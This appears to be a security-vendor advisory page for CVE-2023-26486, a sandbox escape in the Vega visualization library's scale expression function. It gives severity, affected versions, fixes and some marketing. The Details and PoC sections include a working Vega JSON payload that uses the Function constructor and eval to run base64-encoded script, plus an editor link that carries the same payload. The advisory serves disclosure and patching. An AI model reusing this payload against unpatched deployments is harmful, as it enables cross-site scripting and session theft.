CVE-2023-26486

The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.

Details

The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.

PoC

The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "XSS PoC",
      "values": [1],
      "transform": [
        {
          "type": "formula",
          "as": "amount",
          "expr": "scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
        }
      ]
    }
  ]
}

This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2023-26486 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.13.1, 5.23.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2023-26486? CVE-2023-26486 is a medium-severity cross-site scripting (XSS) vulnerability in vega-functions (npm), affecting versions < 5.13.1. It is fixed in 5.13.1, 5.23.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2023-26486? CVE-2023-26486 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2023-26486?
   • vega-functions (npm) (versions < 5.13.1)
   • vega (npm) (versions < 5.23.0)
4. Is there a fix for CVE-2023-26486? Yes. CVE-2023-26486 is fixed in 5.13.1, 5.23.0. Upgrade to this version or later.
5. Is CVE-2023-26486 exploitable, and should I be worried? Whether CVE-2023-26486 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-26486 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-26486?
   • Upgrade vega-functions to 5.13.1 or later
   • Upgrade vega to 5.23.0 or later

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